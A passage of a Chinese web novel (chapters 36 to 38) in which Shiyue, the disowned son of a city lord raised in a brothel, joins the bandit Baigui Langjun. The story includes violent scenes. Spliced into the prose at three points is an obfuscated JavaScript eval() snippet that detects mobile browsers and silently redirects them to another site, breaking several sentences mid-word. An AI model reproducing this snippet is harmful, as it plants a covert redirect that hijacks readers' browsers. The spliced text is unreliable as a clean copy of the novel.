“可别再让她到处嚷嚷了,城主独子下月便要大婚了,如今海妖又来袭,城里人心惶惶,她可别给自己造嘴孽,给造没了。” “嗯,好,我会看好她的。”十月点头,捧着两个海碗和一筐污物离开。张嬢嬢看着他瘦削的背影,心中泛起一丝酸楚,忍不住说道:“这孩子命苦啊。” “他就是那个大家都在说的城主次子吗?长得确实和这里的人不同哈,眉清目秀像个娘们。”一个新来的打杂从后面凑过来说道,话刚出,便挨了张嬢嬢一记打:“别胡说!这是十月,城主次子?你也敢编排!小心舌头不保。”张嬢嬢低声斥责,眼神警惕地扫视四周。 “你怕什么,这不是整个快意楼都知道的事吗,不是他娘逢人就说,当年城主为一亲芳泽,豪掷万金与她春宵一度吗?”打杂的年轻人嬉皮笑脸道。 “哪里,我听到的是,她在外闲逛,城主与她一见倾心,所以芳心暗许,有了孩子。”另一个打杂的附和道。 “哎呀,我发现你们是越来越不怕死了,现在是什么时候,这种话也敢到处说,你就不怕城主拉你们去充军!”张嬢嬢抄起扫帚作势要打,吓得两人缩脖子躲开,嘴上却还不服气地嘟囔着:“这里是快意楼,又不是城主府,怕什么,城主要是能来这里寻欢作乐,我们就去充军,怕甚。”张嬢嬢无奈摇头,转身继续忙碌。 十月出了快意楼,在小巷里行走了几十步,一拐弯进了一处院子,这院子有十几人,一见十月便围了上来,个个眼神充满期待。十月看着手中两个海碗的剩饭剩菜,拿出其中一碗分给他们,再把背后竹筐拿下,轻声道:“这些都是三楼的被褥和衣衫,浆洗时可得仔细些,要是破了损了,钟妈妈找来我可不帮你们背锅了。” 这十几人都是一些年老色衰的妇人,佝偻着身子拼命点头,一碗的剩菜十几人抢,有些人只摸到一些油水在指头,放入嘴里吧唧几声,也算吃到了,随后一哄而散,分别拿了竹筐里的衣服往一旁的水井走去。 这里是快意楼的院子,住的都是那些没钱赎身但也接不了客的内人,年轻时承欢于郎官身下,年老时浆洗更年轻内人的衣物,这仿佛是一个循环,从繁华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯嗯嗯。”十月吞着饭,应付道。女人闻声又吧嗒两口,不知为何忽然站起,捧着饭碗不断地重复着:“说好的,说好你回去便给我赎身!说好的,怎么也给我争一个妾位,都是说好的,都是说好的,怎么临了你就变了!怎么就变了。”女人口里含着饭,痛苦地哭了起来。十月依旧无动于衷,只静静地吃,忽然女人一巴掌甩了过来,大骂:“我就不该生你!都是你!都是!啊啊啊!”十月默默地承受了这一巴掌,心中却泛起一股酸楚。女人很快又停止了哭泣,回到床铺边,抱起一个枕头轻轻拍着,脸上满是慈爱地看着,嘴里横着:“小十月,小十月,十月花红十月开,情郎十月回家来……”唱着唱着,十月捧着碗,压着嗓子,哭了出来。 洛水能感受到同样的心酸和苦闷,只觉世界只剩黑和白,只有苦和涩,看不到的未来,不敢想的过往,这样的日子日复一日,周而复始。 场景随后一转,来到一个十分热闹的场景。偌大的街道,站满了蓬莱城的居民,今日是城主独子,下一任城主的大婚之日,听说新娘是某个仙门的贵女,好热闹的人纷纷涌上街头,议论纷纷。 这是十月见过最盛大的一场婚礼,十里长街裹红装,迎亲的队伍看不见尽头,迎亲的每一个人都穿着鲜艳亮丽的红色,侍女们不断地抛洒花瓣与五彩纸屑。敲锣打鼓的礼队声响震天动地,人们欢声笑语,皆是喜悦。 “快看!是新郎和新娘!”新郎英姿勃发,一身贵气,骑着一匹白色骏马喜气洋洋地走在前头,身后是一顶巨大的花轿,说是花轿,却用了十匹黑马牵引,偌大的花轿足有一房大小,新娘端坐在其中,面纱遮面,隐隐约约露出的笑颜,就如春日里盛开的花朵,温柔又令人神往。人们争先恐后地想要一睹新娘的芳容,十月却只是远远地观望,心中涌起一股说不出的滋味。 他看着新郎的面孔,心中的滋味由苦变成愤怒,那张脸,与自己约有五六分相似。十月感到一种难以言喻的愤怒,仿佛所有的幸福和美好都应该是他的,只是如今,被那人夺了去。他想转身离去,却听见一声高亢的声音:“接喜气咯!”一个全身纯白色衣裳的老头,拿着一个硕大无比的红色布袋,一把又一把地往里掏钱,随后扔出,人群因此汹涌,把十月也挤到了跟前。 “接喜气咯~”又是一声,洛水只觉头上一痛,十几枚铜币杂着花瓣落在自己的头上,十月拿下铜币,看了许久,按下心中想要把铜币丢弃的念头,咬咬牙,把铜钱揣入了兜里,心里如翻江倒海。 36.三十六、梦中忆(二) 这日,十月拿着浆洗好的被褥和衣物从后门走进快意楼,便听到噼里啪啦的打砸声,寻思着是某个喝醉的郎官在闹事,便先转去厨房,避免外头的打闹波及自己,只是刚到厨房门口,便看见张嬢嬢和一群打杂的堆在一起,不住地往里看。十月上前,拿出一袋自己摘的果子递给张嬢嬢,说道:“嬢嬢,又在看热闹啊。” “十月你来啦。”张嬢嬢的表情有些古怪,不像以往那种看热闹的嬉笑脸,此刻的表情倒是带着几分哀愁。 “怎么了?外头又闹事了?” “可不,但不是客人闹事,是官府来闹事了。” “官府?他们来做什么?钟妈妈平时不把他们都讨得服服帖帖的,怎来闹事了。” 张嬢嬢拉着十月走到一处无人的角落,小声道:“官府说,少城主夫人逛街行至此处,说最见不得女人靠身体维生,便回去和少城主说了,要关停蓬莱城里的所有赌坊和青楼!” “什么!”十月闻言,心中五味杂陈,既有一丝难以言喻的喜悦,更多的却是笼罩心头的不安与恐惧。 “这不,钟妈妈在外头和官府的人闹呢。唉,这可是开了几十年的老地方了,这真的要关,我们能去哪呀。”张嬢嬢说着拉起袖子擦了擦泪,十月拍拍肩膀,安慰道:“不会的,不会的……”更多的话便说不出口了,这话更像是自我安慰的低语。 情景再转,就是钟妈妈指挥着人收拾各类能搬走的细软物件,忙得不可开交。十月站在后头,看着那些熟悉的物件被一件件搬走,心中涌起一股难以言说的酸楚。钟妈妈歪着头,闷着脸,眼下一片乌青,显然是哭过,哑着嗓子说:“我这快意楼一直都是合法经营,从未有过越矩之事,如今却要因一人之言而关门,真是天大的冤屈。那少城主夫人是名门贵女,从小养尊处优没吃过苦,哪里晓得我们这些下三滥的人的命有多贱,若命运慈悲,谁又甘愿沦落风尘。我是好心好意收留了那么多苦命的姑娘,这下倒好,城主府直接把她们全赎了,说是赎,实则赶尽杀绝,断了她们的生路,她们这样的出去能做什么!” 钟妈妈的声音越发激动,重重地锤了好几下桌子,但随后又停止了动作,深吸一口气,眼中闪过一丝无奈,低声道:“罢了,罢了,天意如此,我们也只能认命。十月,你年轻,还有出路,别在这里耗着了,赶紧找个正经差事吧。你不是快意楼的人,没有身契在我这,所以城主府没有你的赎身钱,但你娘……你娘的有,这是赎了她的二十两白银,你拿着,自此你我便两清了。”十月接过沉甸甸的银两,心中五味杂陈,眼眶不禁泛红。 “钟妈妈,那院子的那些姨娘们,要怎么办?”十月有些哽咽问道。 “快意楼原本的规矩,赎不了身又无法自立的,便由楼里供养终身。如今楼要关了,我也没办法,只能把官府赎身的钱分给她们,让她们各自谋生。”钟妈妈说罢擤了一下鼻涕,继续道:“不过那院子的地契和这楼是一起的,如今我这楼已经卖给潘掌柜做酒楼了,你们还是赶紧找地方搬吧。” 二十两,在这蓬莱城租房,也只够一年,那些姨娘们大多无依无靠,这一年之后又该如何?更何况自己那疯疯癫癫的娘,十月想到这,只觉心中的苦闷要彻底吞噬自己了。 眼前又是快速地闪过,只见几个官府穿着的人,正坐在院子中,冷眼看着一切,带头的官兵喝着酒吃着花生,笑说:“这快意楼倒了,咱们城主府可没亏待你们,都给了你们赎身钱,那这么多年,欠我们的保护费,也该清一清了。 “什么保护费!钟妈妈不都给你了吗?”十月出言反驳。 “她给的,是她那份,你们是你们,扯她作甚!”官兵怒吼一声,拿起酒碗一摔,“砰”的一声,酒碗碎片四溅,十月身子一颤,咬紧牙关,眼中怒火与无奈交织。“今日不给,休想出这个门!” “你这不是要我们的命吗?这赎身钱能用多久都未知,你还要来抢我们的!老天爷啊,求你做做主啊!”不知是哪个姨娘哭嚎了一声,剩下的通通一起哀嚎起来,官兵面无表情,冷冷扫视一圈,为首的官兵冷哼一声:“哭也没用,赶紧交钱,别耽误我们办事!”说罢,手一挥,几名手下便开始搜查各处,清冷了大半辈子的院子,开始嘈杂起来,四处都是哭声和尖叫声。十月紧握拳头,指甲深陷掌心,却只能眼睁睁看着,他很想反抗,但深知反抗只会带来更大的灾难。 “哥们,你们瞧,这婆娘还略有姿色咧,比那些个腌臜货好看多了,不如……”不知哪个官兵突然看到了十月身后正在转圈的娘亲,眼中闪过一丝邪念,十月心头一紧,急忙挡在娘亲面前:“别碰我娘!” “你娘?你就是快意楼那个妓女生的龟公?那她不就是日日说自己是城主小妾的婆娘?正好,我没试过城主碰过的,今日,也让我做一次富贵人吧!”官兵放肆的笑声在空气中回荡,笑完几人一把推开十月,直扑他娘亲而去。十月怒吼着扑上去,却被几名官兵死死按住,眼睁睁看着娘亲被拖走,心中绝望如潮水般涌来,泪水模糊了视线,却无力改变这一切。 “哼,官府的狗就是横,到处狂吠,你们这些牲畜比我这种刀口舔血过日子的绿林还不如。”一个男声从房顶处飘来,院中人一齐抬头,只见一名浑身黑衣、挂满了各式银饰的男子傲立于屋顶之上,眼神冷冽如寒冬之冰,正肆意嘲笑着官兵们的所作所为。 “你他娘的又是谁,我……”话还未说完,只觉阴风一阵,说话之人的舌头硬生生被整根拔出,鲜血喷涌而出,瞬间染红了地面,顿时院子所有人惊恐逃离。其余几个官兵见状掏出武器,其中一人掏出信号火箭欲要拉开,却被黑衣男子一镖射穿手腕,火箭掉落,火光瞬间熄灭。 “有时候,我真的很恶心和你们并称为‘人’,所以,你们来做我手下的‘鬼’吧。”言罢,男子嘴角勾起一抹冷笑,缓缓掏出一卷竹简,轻轻一挥,只见竹简内腾起一股黑色的烟雾,瞬间弥漫了整个院落。随后,院子内只听见愔愔鬼笑,院子内的黑雾愈发浓重,不断地翻涌,忽然,黑雾中传来凄厉的惨叫,只听见咔嚓几声,骨头断裂的声音清晰可闻,黑衣男子再一挥手,黑雾逐渐散去,院中只剩下一片血腥狼藉,官兵们已无生机。十月目瞪口呆,心中惊惧与感激交织,黑衣男子缓缓落地,瞧了瞧四周,又看向十月,眼神阴冷,说道:“今日之事,记得告诉来的狗官,就说‘百鬼郎君’到此一游。”说完,身形一散,化为一股黑烟消失无踪。 十月呆立原地,心中波澜起伏,娘亲得救的喜悦与对“百鬼郎君”的敬畏交织。他对那人,那般强悍的手段,既感激又恐惧,深知此生难忘。 场景再转,只见蓬莱城众人聚集在城中央的公告栏处,一俊俏男子画像张贴于此,两个大大的‘悬赏’赫然在目:“百鬼郎君,全区通缉,凡提供线索者,赏金千两。”众人交头接耳,神色各异,议论声此起彼伏。 “这就是百鬼郎君啊,怎么看这画像,还以为是哪家富贵公子呢?” “绿林不都是满脸麻子嘴歪鼻斜的吗?怎会有长这样的绿林?” “一样米养百样人,平常人就有长得凶神恶煞的,就不许强盗悍匪长得眉清目秀的吗?” “哎,你们听说了吗?前些日子百鬼郎君潜入蓬莱城杀了官兵,所以这才惹得城主震怒,下重赏要抓他呢。” “啊?蓬莱城那么多修仙的,也没能拦住一个绿林?” “人家都叫百鬼郎君了,一百种鬼呢,谁能拦。” “倒也是哦,不过有些官兵确实该杀,他们……” “嘘,你不要命啦,这是公告牌,敢议论这些!” “就是,快闭嘴吧,官差来了。” 众人讨论期间,又有一队官差走了过来,随后在百鬼郎君的悬赏公告旁,又贴上一张告示:凡能助蓬莱城斩杀百鬼郎君者,赏良田万亩,黄金万两,封侯拜将,世代荣华。 众人哗然,眼中贪婪与恐惧交织,心中盘算着利弊,却无人胆敢轻举妄动。十月凝视着告示,心中波澜起伏。 “嬢嬢,这是二十两,还有我这些年攒下来的七八贯文钱,都给您。”十月掏出全部的积蓄,交给了张嬢嬢,莫名收到这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232244|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多钱的张嬢嬢眼神一缩,紧张地关上房门,压低声音说:“十月,你是怎么了?突然给我这些钱。” “这些是给你的房租,不然此时我们都找不到住的地儿,二是,我要出一趟远门,找份活计,恐怕短时间内无法回来,这多出的钱,是我娘的吃食费,我现下没有更多的钱了,等我赚到了钱,一定加倍偿还。” “哎哟,你怎能如此说,想当年我不过是快意楼中一个倒泔水的婆子,全靠你娘多年接济,打赏又慷慨,这才得以买下这小院安身立命,你这会儿……”张嬢嬢把钱推回给十月,眼眶泛红:“你这孩子,心意我领了,但钱你必须拿回去。你娘的恩情,我怎能忘?你安心去,家里有我。” “嬢嬢,现在快意楼没了,楼里出来的人都不好过,之前三楼的那些内人,没有其他本事,现下都得偷偷在巷道做暗娼呢。这些钱你务必收下,我这一走,不知何时能归。如若,如若我回不来,嬢嬢你就随便找个人把我娘带去山里,让她自生自灭便是。” 张嬢嬢泪眼婆娑,紧紧握住十月的手:“孩子,你不是要做傻事吧?日子是苦,但是有娘在,日子再苦也还能过,你可别想不开啊?” “嬢嬢,我没有,我真的要出去找一个可以让我一夜富贵的活计,就是不知何时才能回来。我一赚到钱,我立刻寄回来,我娘只能拜托嬢嬢了,她疯病发作时,你记得用绳子绑住她,别让她摔坏家里的东西了。” 张嬢嬢看着眼前的年轻人,眼泪直流,伸手摸了摸年轻人的脸,说道:“其实,你娘没说谎,楼里的人都说你娘得了癔症,但我知道,她没说谎。你爹,确实是城主,当年城主用仙法换着脸来找你娘,她怀了你,城主却消失无踪。这些年,她受尽白眼,如若你真的想一夜富贵,不如去城主府……” “嬢嬢,别说了,我没爹,也不是什么城主的儿子,我就是我,和我娘一个姓,秦十月。以前需要他的时候他人不在,那往后的日子有没有他都无所谓了。” “唉,苦命的娃,嬢嬢劝不住你,你想去做什么,便去吧,只一条,记得报平安。”张嬢嬢摸了摸十月的头,眼泪止不住,十月随即深跪于地,对张嬢嬢连磕三响头,复转身朝一旁痴笑的母亲,亦恭敬磕下三头,随后退出了房子。 眼前景象渐散,换成了一处村落的对话。 “孩子,你打听百鬼郎君的山头作甚?你这是要去投靠他?”农户看着眼前的年轻人,不过二十出头,背着个破烂包裹,浑身脏兮兮的,像极了乞丐。 “家里遭了灾,实在活不下去了。听说百鬼郎君那里能给人一口饭吃,我只想找个活路,求您指点。” “哎哟孩子,你可别去哦,蓬莱城的人都说那百鬼郎君心狠手辣,杀人不眨眼,去了只怕是羊入虎口。” “我也想做正经的营生,可手里剩余的那点钱都被官府里的老爷昧了,我实在无路可去了,只能上山找口饭吃,大叔你莫怕,你只指个方向与我说,不连累你。” “唉。”农户叹了口气,指了指西北方向:“顺着这条道走五十里,见一独木桥,过了桥便是百鬼山,百鬼郎君就在山里头。这也不是什么秘密,蓬莱城官兵来了许多次,都攻不进去,只因那百鬼山已经被百鬼郎君的鬼兵占据,还有各方邪术,入了此山,便是生死由命。孩子,你可要想清楚,投靠绿林,终不是正道啊。” “我想走正道,可世间并未给我这个机会,谢了大叔,在下感激不尽。”十月拜了拜,出了农户家,往西北方向走去。 走了一天一夜,错了几次方向,来到独木桥时,已是深夜时分。这桥与其说是独木桥,不如说是根腐朽的树干,摇摇欲坠地横跨在深不见底的峡谷之上。月光下,桥身泛着幽幽的冷光,仿佛随时会断裂。十月深吸一口气,紧握双拳,小心翼翼地踏上桥面,每一步都如同在生死边缘徘徊。夜风呼啸,夹杂着野兽的嘶吼,他的心提到了嗓子眼,不知哪来的一阵风,吹得桥晃晃荡荡。十月咬紧牙关,稳住心神,一步步艰难前行。 正走到桥中间时,一个冰冷的男声响起:“你是谁?” 37.三十七、梦中忆(三) 十月循声看去,只见一人身着红衣,银饰叮当作响,在黑夜中犹如鬼魅,既诡谲又阴冷,而他的面容俊朗非凡,深邃的眸子犹如幽深海洋,与这身装扮相得益彰,平添了几分神秘与魅力。 十月一下子便认出了眼前人,正是那日在院中虐杀官兵之人,十月心中一喜,脚下步伐也随之一乱,独木桥的晃荡更为剧烈,险些失去平衡。那人见十月不语,一只脚踏上了独木桥的另一头,轻轻踢了踢,独木桥发出吱呀声响,十月立马跪在了独木桥上,颤声说道:“我,我是来投靠百鬼郎君的!” “投靠?”那人眉头微皱,眼中闪过一丝疑惑,随即嘴角勾起一抹冷笑:“哦?是吗?这么晚还来投靠?”那人停下了踢桥的动作,转而坐到了地上,盘着腿审视着十月:“你是不是蓬莱城派来卧底的细作?” “我不是,我就是那日你闯入蓬莱城杀人后代为传话的那人,你不记得我了吗?”十月惊恐地辩解道,声音带着一丝颤抖,身体不断晃动,身下的深渊阴风阵阵,似乎在等着这块悬着的肉掉入其中。 那人冷冷地盯着十月,缓缓起身走上独木桥,一步步逼近,独木桥在重压下吱吱作响,仿佛随时会断裂。十月被晃得头晕目眩,冷汗直流,心中却仍强作镇定,咬紧牙关重复道:“我真的只是来投靠的!”那人停步,目光如刀,冷声问道:“那你可知道,投靠我需付出何等代价?”十月心一紧,颤声道:“无论何等代价,我都愿意付出!”言罢,深吸一口气,眼中闪过一丝决绝。那人目光深邃,沉默片刻,缓缓开口:“既然如此,你往下跳,让我看看你投靠的诚心。” 百鬼郎君眼中闪过一丝戏谑,冷冷地看着十月,蹲在十月的面前如同猛兽看待猎物般,嘴角勾起一抹残酷的笑意:“跳吧,深渊能见证你的真心。”十月咬紧牙关,眼中闪过一丝挣扎,终是闭目一跃,风声呼啸,心跳如鼓,无数过往影像从脑海中蹦出,等待着深渊的黑暗吞噬他。然而耳边风声骤停,身体却未触底。十月睁开眼,发现自己竟悬浮在空中,一根红色绸带缠住了腰身,百鬼郎君站在独木桥上,冷笑中透出一丝玩味:“胆子倒不小。”说完,一拉扯,十月被拽回桥上,心跳未平,双腿发软。 百鬼郎君目光深邃,语气缓和:“蓬莱城那些懦夫我不信他们敢跳,只有走投无路的人才敢如此决绝,既如此,信你一次。”十月喘着粗气,心中五味杂陈,既庆幸又忐忑。百鬼郎君转身,背对着他,冷冷道:“记住,忠诚,是你接下来能活着的唯一依靠。”言罢,双手一招,身后黑暗中涌出成群雾气,四周一切瞬间隐入雾气之中,景象变幻,仿佛踏入另一世界。十月赶紧起身紧随其后,心中虽仍有余悸,却不敢有丝毫懈怠,深一脚浅一脚地跟随。 雾气缭绕中,隐约可见一座巍峨寨子,百鬼郎君步履沉稳,径直踏入,寨门缓缓开启,门刚开,便看到门后所有人举着刀枪剑戟,凶神恶煞,气氛肃杀。 “当家的!是不是蓬莱城的人攻来了?这次要怎么打?”一个粗犷的声音响起,百鬼郎君挥手示意安静,冷声道:“不是敌人,是新人。”众人目光齐刷刷投向十月,刀光剑影中,十月感到寒意刺骨,却努力挺直腰板,不敢有丝毫退缩。 “咦?就这细瘦如豆芽的小子?新加入的?当家的,你可别逗乐我们了?”那人嗤笑出声,眼中满是不屑之意。 “就这瘦弱身板,也值得当家的下去亲自动手?随便找个人下去一刀就剁了,刚才当家看见禁制被动,咻一下就走了,我还以为是蓬莱城要一决生死了。”人群中议论声不断,十月看着周围凶神恶煞面色之人,身体有些发抖,百鬼郎君歪着头看着十月,笑道:“这里最缺的就是打杂的,你从打杂做起吧,看你之后有多少本事,再安排你别的活。”说完,百鬼郎君大声喊道:“地缺,地缺人呢?” “这呢,这呢,当家的我在这,哎呦你们滚开,挡老娘的小心明天的早食里我下十斤巴豆!拉死你们!”一个尖利的嗓音响起,一群牛高马大的人身后,窜出一个矮小的身影,此人是个侏儒,断了右手,脸上还有一道狰狞的疤痕,仔细瞧,才发现是个女子,眼神狡黠,嘴角挂着玩世不恭的笑。她拍拍手,走向十月,上下打量一番,哼笑道:“小豆芽,跟着我可别拖后腿。” “是。”十月低声应答,刚跟这个名为地缺的女子走出两步,似乎是想起了什么,又匆匆跑回百鬼郎君跟前,深深地鞠了一躬:“多谢……多谢当家的收留我!此后为牛为马绝不怨言!” 此话一出,引得众人哄堂大笑,山贼们纷纷起哄,笑声中夹杂着戏谑与轻蔑。 “这小豆芽,分明是从城里来的,与蓬莱城那些道貌岸然之辈如出一辙!” “瞧你这般客气模样,当家的,你究竟收了个怎样的新人?莫非还指望他日后以纸墨笔砚为剑,直刺蓬莱城那些奴颜婢膝之徒?” 地缺扯了扯嘴角,不耐烦地催促:“行了行了,别磨蹭,赶紧跟我走。”十月红着脸,低头紧跟地缺身后,但不知为何心里莫名有一股不甘,走路时还回头看了一眼百鬼郎君,只在他立于众人之中,眼神深邃如海,未曾离开自己身上半分,那眼神让十月心中一震,仿佛被无形的力量托举,沉甸甸的心,忽然轻松了起来。 入山后,十月一直挑水砍柴,地缺不时过来指点几句,十月虽累却学得认真。山头实在自由,没活时随便一躺也没人管,但有活时稍微分神,就会遭到地缺的一记暴打,力道还不小。十月算是细心勤奋之人,还是受了不少皮肉之苦,比他懒惰蠢钝一些的,更加惨不忍睹。日子久了,十月渐渐适应了这种生活,皮糙肉厚了不少。 地缺虽严厉,却也有心教导,很快十月便掌握了山中诸多琐事,比如白天不能大吵大闹,因为下山寻货的人刚回来,需要休息;晚上则要警觉,防备外敌偷袭。山中规矩不多,也没什么禁忌,只有一条铁律:不许靠近百鬼郎君的屋子。 “这些蠢货,说了多少次都不长记性,都说了抢粮食仔细些,不许沾血!说了没有八百也有一千次了,还这样!”地缺点着库房里新回来的一批粮货,有几只硕大的袋子上沾满了血,她怒目圆睁,用力一脚踢到袋子上,袋子里的粮食洒落一地,众人噤若寒蝉。 “站着看什么?快拿筛子来,把那些染血的粮食筛干净,好的堆一边啊!”地缺一声令下,几人各自分散,只是动作都有些慢,因为地缺管着的这些人,都是身体残疾或天生畸形的人,他们行动不便,但地缺从未因此态度和善。十月早就备好了筛子才靠近的,地缺话刚出,已经蹲下来在地上筛起了谷子。 一股令人作呕的腥臭猛然自谷子底部涌出,是人血在暗处发酵的恶臭,这些日子以来,他逐渐习惯了与这股血腥气息为伴,处理起这些沾满人血的活计来也愈发从容。打杂的人就是负责整个山头的吃穿住行,而绿林的一切产出皆靠抢杀夺,所以运回来的东西,总有很多不干不净的痕迹。 十月起初感到阵阵恶心,但只能强压下不适,随着时间的推移,这份不适逐渐麻木,直至变得无关紧要。现下他一边筛着谷子,一边对地缺说道:“地缺姐,昨天我点货的时候,发现有一批腊货开始长霉了,兄弟们最近一直嚷嚷油腥不够,没力气干活,要不晚上的时候给炒了?” 地缺闻言,眉头微皱,瞥了十月一眼,冷声道:“霉了?我怎么不知道?我前几天才去点过一次。” “食品库房哪有几天检查一次的,要天天看的,那腊货长霉是因为库房漏了个小洞,漏了些雨进来浇到了,湿了水的腊货没办法再存了,所以我才说要不晚上做了。” “也罢,那就晚上做吧,那你一会……” “洞我已经补上了,发霉的腊货已经泡上了,晚上我来做就行。”地缺的话还没说完,十月已经接过了话茬,地缺嘴角上扬,重重一拍十月的肩头,那声响虽沉却饱含赞许:“你这小子,愈发伶俐,比起外面那些只懂蛮干的愣头青,可强太多了。” 十月嘿嘿一笑,低头继续筛谷子,他第一次,觉得日子有了甜味。 夜幕降临,十月早早地生火煮饭,腊货在锅中咕嘟咕嘟炖得香气扑鼻,刚醒之人嗅到这味也忍不住垂涎,纷纷涌向厨房。十月忙得满头大汗,却乐在其中,地缺站在一旁,拦着想要进厨房偷吃的人,抄着一个大勺,吆喝道:“都给老娘滚远点!饭没做好来这蹭什么!” “十月,你今天做的是什么啊?怎么那么香?”面对地缺的拦阻,人群不以为意,反而更加好奇地围了过来,七嘴八舌地议论着。 “没什么,库房里有批腊货要霉了,赶紧拿出来做饭,都是些家里菜式。”十月嘿嘿笑着,一边翻炒着锅里的腊货,一边回答:“不过加了点山里的野味,提了提鲜。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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入夜,山寨里因为今夜的菜和酒,变得十分热闹,众人围着火堆,唱着奇怪腔调的歌,酒一碗一碗地饮,每个人都醉得过分开心。十月坐在寨子的岗哨上,看着下方火光映照下的笑脸,心中感慨万千。 “你怎么一个人在这?”一个声音传来,十月赶忙站起,才发现是百鬼郎君,他此时一身黑色长袍,此身装扮意味着他刚从外面‘忙’回来。这也是十月自己发现的一个小特点,百鬼郎君如若不出寨子,总是一身红色衣服,但凡出去,便是一身黑,没有第三种颜色。唯一不变的,就是他身上的银饰。 “寨,寨主!我,我在守岗!”十月慌忙行礼,百鬼郎君轻笑:“守岗?我这都站你身后多久了也没发现我,你这岗就这么守的?” “不,不是!是寨主你神通广大,我,我没本事……” “喝酒了?”百鬼郎君双手一抱,笑吟吟地看着十月。 “喝了一碗,但我没醉!我可以守岗的!”十月红着脸辩解,百鬼郎君摇摇头,轻拍他肩:“无妨,今晚不会有事的,我刚从山下回来,放心吧。”百鬼郎君说完,也不走,就这样靠在岗哨的栏杆上,抬头看着星空。 十月发现,眼前之人着实俊俏,他在快意楼也是见过一些俊俏公子的,但都没有百鬼郎君这样的气质。百鬼郎君的脸面总是带着一抹浅浅的笑,他只有一个酒窝,笑起来时隐时现,仿佛藏着无尽的坏意。他修长白皙的脖颈宛如精雕细琢的玉柱,衣领随风轻扬,夜风拂弄之下,银饰发出清脆悦耳的叮当声,彰显出一股洒脱不羁的豪情。十月心中暗叹,这样的人,若非身负绿林之名,必是一个风华绝代的佳公子。 “我脸上沾血了吗?怎么这般看着我?”百鬼郎君发现了十月的注视,调侃道:“莫非是被我这副皮囊迷住了?”十月回过神,忙低下头,尴尬地笑了笑:“寨主说笑了,只是觉得您今晚格外不同。”百鬼郎君闻言,眼中闪过一丝情绪,随即又恢复了那副玩世不恭的模样,拍了拍十月的肩膀:“走,下去和他们一起喝一杯!” “可这岗哨还要有人站岗……啊!”十月还未说完,一声惊呼,已被百鬼郎君轻轻一带,两人一同从十多米高的岗哨上跃下,落地轻盈如燕。十月心跳如鼓,惊魂未定,双手因害怕攀上了百鬼郎君的脖子,众人见两人从天上而来,更是瞬间点燃了热情,欢呼声四起。百鬼郎君没有在意十月的动作,朗声笑道:“今夜无战事,大家尽情畅饮!” 38.三十八、梦中忆(四) 十月在厨房里点起了温菜的火,夜深得浓重,也格外安静,以往欢乐不停的寨子今日换了个样子。十月和地缺还有一群打杂的围坐在一起剥花生,不吭声,只细细地听着外面风声,生怕漏了一丝风吹草动。炉火映照下,十月剥花生的动作在炉火映照下显得格外笨拙,连手指都不听使唤。十月也不知自己为何如此,只知今日是山里头所有人都出动的一日,说是来了一队给蓬莱城上贡的,要是能拿下,寨子便能丰衣足食一整年。难得的是,连平日里神出鬼没的百鬼郎君也随众而出,这让十月心中莫名涌起一股不安之感。 以往这些寻货劫货的活,都是地缺的弟弟,天残负责的。天残和地缺一样,天生就有残疾,不能言语,但身体并无问题,且长得巨大,仿佛一座山,行动间却异常灵活。 “准确地说,被赶出去的只有我,生来丑陋,一把年纪了没人上门讨亲,我爹天天骂我是贱种赔钱货,我娘啥都不会,只一个劲儿地哭,后来我爹不仅骂还打,说我浪费粮食,只会吃不会产,我娘脑子不好,以为我爹是嫌家里人多粮不够吃,就用一根自己编的草绳,吊死在我家后面的歪脖子树了。你知道最好笑的是什么吗?是我爹还骂我娘晦气,在家后面死污了家里的风水。还说我娘天生就有病,生的娃都有病,不是死就是残,他倒了八辈子血霉才会花两钱买了我娘。我娘嫁给他一辈子,没享过福,只有打和骂,苦了一辈子,却还被他说不吉利,我呸!我娘下葬那天,他在家里喝酒,只有我弟和我去了。”地缺说这话时,眼神黯淡,手里握着烟杆,手里搓的烟草都搓成了个实心球,也没往烟杆口里放,搓到最后啐了一口痰,把手中烟球丢在地上,狠狠地骂道:“那个老不死的!当天我就回家,用我家砍柴的刀把我爹杀了!” 闻言,十月并没有惊恐,看向地缺的眼神带着许多怜悯,世道终是如此,可怜人,也可恨,如是命好之人,又怎可能走到这般田地。 “ 可是我打不过我爹,哼,那老不死酒没少喝,劲儿还挺大,被我砍了一刀后,转身就夺了柴刀对着我脸就是一刀,你瞧,这就是当时留下的。”地缺说着指了指自己脸上的那道疤,刀疤从眉角划至嘴角,扭曲了原本的面容。地缺苦笑了一下,继续说道:“我是想着和他鱼死网破,谁料我弟却突然从后面给了他一斧子。这小子,下手真他娘的狠,那老不死的头都劈成两半了,我就知道他天生适合做这个。”地缺说着,扭过头擤了一把鼻涕,声音也有些哽咽,但很快恢复了平静,"我爹一死,我弟抱着我就跑了。我们无处可去,跑了几天几夜,我都以为我快死了,没想到,我们居然能遇到寨主,自那之后,我们就在寨子里活下来了。” 十月不语,是他不知该如何接话,只默默地递上一块干净的麻布手帕,地缺大手一挥,说道:“老娘使不惯那么文绉绉的玩意儿,哭个屁啊!”这一声,不知地缺是在骂人,还是骂自己。 